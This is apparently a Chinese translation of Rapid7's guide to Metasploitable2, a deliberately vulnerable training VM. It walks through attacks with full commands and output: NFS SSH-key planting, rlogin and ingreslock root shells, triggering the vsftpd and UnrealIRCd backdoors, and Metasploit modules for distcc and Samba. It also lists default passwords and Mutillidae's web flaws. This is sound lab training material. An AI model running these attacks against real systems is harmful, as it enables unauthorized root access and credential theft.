Metasploitable2使用指南
Metasploitable2 虛擬系統是一個特別制作的ubuntu操作系統,本身設計作為安全工具測試和演示常見漏洞攻擊。版本2已經可以下載,並且比上一個版本包含更多可利用的安全漏洞。這個版本的虛擬系統兼容VMware,VirtualBox,和其他虛擬平台。默認只開啟一個網絡適配器並且開啟NAT和Host-only,本鏡像一定不要暴漏在一個易受攻擊的網絡中。(注:一個關於如何安裝的視頻教程已經可以訪問在Virtual Box Host中安裝Metasploitable 2.0教程)
這篇文檔羅列了Metasploitable 2的虛擬系統中的許多安全缺陷。目前缺少關於web服務器和web應用方面的安全缺陷。這些缺陷允許本地用戶提權是root權限。隨着時間的推移,這篇文檔會繼續更新Metasploitable 中不太重要的安全缺陷。
開始工作
當虛擬系統啟動之后,使用用戶名msfadmin,和密碼msfadmin登陸。使用shell運行ifconfig命令來確認IP地址。
msfadmin@metasploitable:~$ ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1 inet addr:192.168.99.131 Bcast:192.168.99.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
服務
作為攻擊者的操作系統(linux,大多數時候使用BackTrack),我們需要在虛擬機中通過使用nmap來辨認開放的端口。接下來的命令能夠掃描目標系統-Metasploitable 2的所有TCP端口。
root@ubuntu:~# nmap -p0-65535 192.168.99.131
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT
Nmap scan report for 192.168.99.131
Host is up (0.00028s latency).
Not shown: 65506 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distccd
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
6697/tcp open unknown
8009/tcp open ajp13
8180/tcp open unknown
8787/tcp open unknown
39292/tcp open unknown
43729/tcp open unknown
44813/tcp open unknown
55852/tcp open unknown
MAC Address: 00:0C:29:9A:52:C1 (VMware)
目標系統中幾乎每一個端口監聽的服務都給我們提供一個遠程接入點。在接下來的章節中,我們將會漫步於這些路徑之中。
服務:Unix基礎
TCP端口512,513和514為著名的rlogin提供服務。在系統中被錯誤配置從而允許遠程訪問者從任何地方訪問(標准的,rhosts + +)。要利用這個配置,確保rsh客戶端已經安裝(在ubuntu上),然后以root權限運行下列命令,如果被提示需要一個SSH秘鑰,這表示rsh客戶端沒有安裝,ubuntu一般默認使用SSH。
# rlogin -l root 192.168.99.131 Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
這是如此輕而易舉辦到。接下來我們要查看的是網絡文件系統(NFS)。NFS可以通過掃描2049端口或者查詢端口映射程序的服務列表進行確認。下面的列子我們將通過rpcinfo來確認NFS,通過showmount -e 來確定“ /”共享(文件系統的根目錄)已經被導出。我們需要安裝ubuntu中的rpcbind和nfs-common的依賴包。
root@ubuntu:~# rpcinfo -p 192.168.99.131
program vers proto port service
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 53318 status
100024 1 tcp 43729 status
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100003 4 udp 2049 nfs
100021 1 udp 46696 nlockmgr
100021 3 udp 46696 nlockmgr
100021 4 udp 46696 nlockmgr
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs
100021 1 tcp 55852 nlockmgr
100021 3 tcp 55852 nlockmgr
100021 4 tcp 55852 nlockmgr
100005 1 udp 34887 mountd
100005 1 tcp 39292 mountd
100005 2 udp 34887 mountd
100005 2 tcp 39292 mountd
100005 3 udp 34887 mountd
100005 3 tcp 39292 mountd
root@ubuntu:~# showmount -e 192.168.99.131
Export list for 192.168.99.131:
/ *
獲取一個系統的可寫入的文件系統權限是很簡單的。我們需要在攻擊者的系統上創建一個新的SSH秘鑰,掛載NFS接口,然后把我們的秘鑰添加到root使用者賬號的認證秘鑰文件里:
root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t
root@ubuntu:~# ssh root@192.168.99.131
Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
服務:后門
Metasploitable2 在21端口上運行着vsftpd服務,一個使用廣泛的FTP服務。這個特別的版本包含一個后門允許一個未知的入侵者進入核心代碼。這個后門很快就被確認並且移除。但是移除之前已經被少數人下載下來。如果在發送的用戶名后面加上”:)“(笑臉符號),這個版本的后門會在6200端口上打開一個監聽的shell。我們可以通過telnet確認或者通過metasploit上面的攻擊模塊自動攻擊。
root@ubuntu:~# telnet 192.168.99.131 21
Trying 192.168.99.131…
Connected to 192.168.99.131.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]
telnet> quit
Connection closed.
root@ubuntu:~# telnet 192.168.99.131 6200
Trying 192.168.99.131…
Connected to 192.168.99.131.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)
在Metasploitable2 的6667端口上運行着UnreaIRCD IRC的守護進程。這個版本包含一個后門-運行了幾個月都沒被注意到。通過在一個系統命令后面添加兩個字母”AB“發送給被攻擊服務器任意一個監聽該端口來觸發。metasploit上已經已經有攻擊模塊來獲得一個交互的shell,請看下面列子。
msfconsole
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
msf exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started reverse double handler
[*] Connected to 192.168.99.131:6667…
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname..
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your host name; using your IP address instead
[*] Sending backdoor command…
[*] Accepted the first client connection…
[*] Accepted the second client connection…
[*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets…
[*] Reading from socket B
[*] B: "8bMUYsfmGvOLHBxe\r\n"
[*] Matching…
[*] A is input…
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700
id
uid=0(root) gid=0(root)
在少數服務器上存在一個古老的令人驚訝的“ingreslock”后門,監聽1524端口。在過去的十年里,它經常被用於入侵一個暴露的服務器。它的利用是如此簡單。
root@ubuntu:~# telnet 192.168.99.131 1524
Trying 192.168.99.131…
Connected to 192.168.99.131.
Escape character is '^]'.
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)
服務:無意識的后門
除了上個部分介紹的惡意的后門以外,一些程序的性質本身就類似后門。Metasploitable2 最先安裝的是distccd。這個程序可以使大量代碼在網絡服務器上進行分布式編譯。問題是攻擊者可以濫用它來實現一些他們想運行的命令。metasploit在下面例子里證明。
msfconsole
msf > use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > set RHOST 192.168.99.131
msf exploit(distcc_exec) > exploit
[*] Started reverse double handler
[*] Accepted the first client connection…
[*] Accepted the second client connection…
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets…
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching…
[*] A is input…
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
samba,當配置為文件權限可寫同時"wide links" 被允許(默認就是允許),同樣可以被作為后門而僅僅是文件共享。下面例子里,metasploit提供一個攻擊模塊,允許接入一個root文件系統通過一個匿名接入和可寫入的共享設置。
root@ubuntu:~# smbclient -L //192.168.99.131
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
Sharename Type Comment
——— —- ——-
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
root@ubuntu:~# msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131
msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf auxiliary(samba_symlink_traversal) > exploit
[*] Connecting to the server…
[*] Trying to mount writeable share 'tmp'…
[*] Trying to link 'rootfs' to the root filesystem…
[*] Now access the following share to browse the root filesystem:
[*] \\192.168.99.131\tmp\rootfs\
msf auxiliary(samba_symlink_traversal) > exit
root@ubuntu:~# smbclient //192.168.99.131/tmp
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[..]
弱口令
除了上面介紹的公開的后門和錯誤配置以外,Metasploit2 上不管是系統還是數據口賬戶都有非常嚴重的弱口令問題。最初的管理員登陸密碼和登錄名msfadmin相同。通過查看系統的用戶名表,我們可以通過使用缺陷來捕獲passwd文件,或者通過Samba枚舉這些用戶,或者通過暴力破解來獲得賬號密碼。系統中至少有一下弱口令。
Account Name | Password |
---|---|
msfadmin | msfadmin |
user | user |
postgres | postgres |
sys | batman |
klog | 123456789 |
service | service |
除了這些系統層面的賬戶,PostgreSQL 服務可以通過默認的用戶名postgres和密碼postgres登陸。MySQL 服務也開放,用戶名為root同時為空口令。VNC服務提供一個遠程桌面接入服務通過使用默認的密碼password可以登陸。
易受攻擊的web服務
Metasploitable2特意預裝了易受攻擊的web應用。當系統啟動以后web服務會自動運行。訪問web應用的方法是,打開一瀏覽器然后輸入網址http://<IP> ,<IP> 就是系統的IP地址。
在這個例子里,系統運行IP地址 192.168.56.101. 打開 http://192.168.56.101/ 來查看web應用的主頁。
訪問特定的web應用可以點擊首頁的超鏈接。如果個人的web應用如果需要被訪問,需要在后面增加特定的文件路徑。http://<IP> 來創建URL http://<IP>/<應用文件夾>/。舉個例子,Mutillidae 需要被訪問,在這個例子訪問地址為http://192.168.56.101/mutillidae/。而這個應用被安裝在系統 /var/www 這個文件夾里。(注:可以通過以下命令查看 ls /var/www)。
在寫這篇文章的當前版本,所有web應用程序
-
mutillidae (NOWASP Mutillidae 2.1.19) dvwa (Damn Vulnerable Web Application) phpMyAdmin tikiwiki (TWiki) tikiwiki-old dav (WebDav)
易受攻擊的web服務:Mutillidae
Mutillidae web應用包含OWASP 上前十可利用的攻擊漏洞,包括HTML-5 web storage, forms caching, and click-jacking等。收DVWA啟發,Mutillidae 允許使用者更改安全等級從0(完全沒有安全意識)到5(安全)。另外提供三個層次,從“0級-我自己搞”(不要提示)到“2級-小白”(使勁提示)。如果Mutillidae在我們使用注入攻擊或者黑的過程中搞壞了,點擊"Reset DB" 按鈕回復出廠設置。
通過單擊菜單欄上的"切換提示"按鈕啟用應用程序中的提示:
Mutillidae 包含至少以下可被攻擊的漏洞
Page | Vulnerabilities | ||||
---|---|---|---|---|---|
add-to-your-blog.php | SQL Injection on blog entry SQL Injection on logged in user name Cross site scripting on blog entry Cross site scripting on logged in user name Log injection on logged in user name CSRF JavaScript validation bypass XSS in the form title via logged in username The show-hints cookie can be changed by user to enable hints even though they are not suppose to show in secure mode |
||||
arbitrary-file-inclusion.php | System file compromise Load any page from any site |
||||
browser-info.php | XSS via referer HTTP header JS Injection via referer HTTP header XSS via user-agent string HTTP header |
||||
capture-data.php |
|
||||
captured-data.php | XSS via any GET, POST, or Cookie | ||||
config.inc* | Contains unencrytped database credentials | ||||
credits.php | Unvalidated Redirects and Forwards | ||||
dns-lookup.php | Cross site scripting on the host/ip field O/S Command injection on the host/ip field This page writes to the log. SQLi and XSS on the log are possible GET for POST is possible because only reading POSTed variables is not enforced. |
||||
footer.php* | Cross site scripting via the HTTP_USER_AGENT HTTP header. | ||||
framing.php | Click-jacking | ||||
header.php* | XSS via logged in user name and signature The Setup/reset the DB menu item canbe enabled by setting the uid value of the cookie to 1 |
||||
html5-storage.php | DOM injection on the add-key error message because the key entered is output into the error message without being encoded | ||||
index.php* | You can XSS the hints-enabled output in the menu because it takes input from the hints-enabled cookie value. You can SQL injection the UID cookie value because it is used to do a lookup You can change your rank to admin by altering the UID value HTTP Response Splitting via the logged in user name because it is used to create an HTTP Header This page is responsible for cache-control but fails to do so This page allows the X-Powered-By HTTP header HTML comments There are secret pages that if browsed to will redirect user to the phpinfo.php page. This can be done via brute forcing |
||||
log-visit.php | SQL injection and XSS via referer HTTP header SQL injection and XSS via user-agent string |
||||
login.php | Authentication bypass SQL injection via the username field and password field SQL injection via the username field and password field XSS via username field JavaScript validation bypass |
||||
password-generator.php | JavaScript injection | ||||
pen-test-tool-lookup.php | JSON injection | ||||
phpinfo.php | This page gives away the PHP server configuration Application path disclosure Platform path disclosure |
||||
process-commands.php | Creates cookies but does not make them HTML only | ||||
process-login-attempt.php | Same as login.php. This is the action page. | ||||
redirectandlog.php | Same as credits.php. This is the action page | ||||
register.php | SQL injection and XSS via the username, signature and password field | ||||
rene-magritte.php | Click-jacking | ||||
robots.txt | Contains directories that are supposed to be private | ||||
secret-administrative-pages.php | This page gives hints about how to discover the server configuration | ||||
set-background-color.php | Cascading style sheet injection and XSS via the color field | ||||
show-log.php | Denial of Service if you fill up the log XSS via the hostname, client IP, browser HTTP header, Referer HTTP header, and date fields |
||||
site-footer-xss-discusson.php | XSS via the user agent string HTTP header | ||||
source-viewer.php | Loading of any arbitrary file including operating system files. | ||||
text-file-viewer.php | Loading of any arbitrary web page on the Interet or locally including the sites password files. Phishing |
||||
user-info.php | SQL injection to dump all usernames and passwords via the username field or the password field XSS via any of the displayed fields. Inject the XSS on the register.php page. XSS via the username field |
||||
user-poll.php | Parameter pollution GET for POST XSS via the choice parameter Cross site request forgery to force user choice |
||||
view-someones-blog.php | XSS via any of the displayed fields. They are input on the add to your blog page. |
易被攻擊的web服務:DVWA
從DVWA主頁可以看到:“該死的容易被攻擊的web應用(DVWA)的架構為PHP/MySQ。其主要目標是要幫助安全專業人員來測試他們的技能和工具在法律允許的情況下,
幫助web開發人員更好地了解保護web應用程序的過程和作為課堂演示。
Default username = admin
Default password = password
易被攻擊的web服務:Information Disclosure
另外,不恰當的PHP信息披露也可以在http://<IP>/phpinfo.php找到。在這個例子里,鏈接地址為http://192.168.56.101/phpinfo.php。PHP 信息泄露提供了內部系統的信息和服務可以用來查找安全漏洞的版本信息。舉個例子,注意到在截圖中披露的 PHP 的版本是 5.2.4,可能存在可以利用的漏洞,有可能系統存在CVE–2012-1823和 CVE–2012-2311,影響PHP 5.3.12 和 5.4.x 前 5.4.2 之前的版本。
metasploitable2下載址:http://sourceforge.net/projects/metasploitable/files/Metasploitable2
[原文地址:https://community.rapid7.com/docs/DOC-1875版權歸原作者所有,僅供學習交流之用]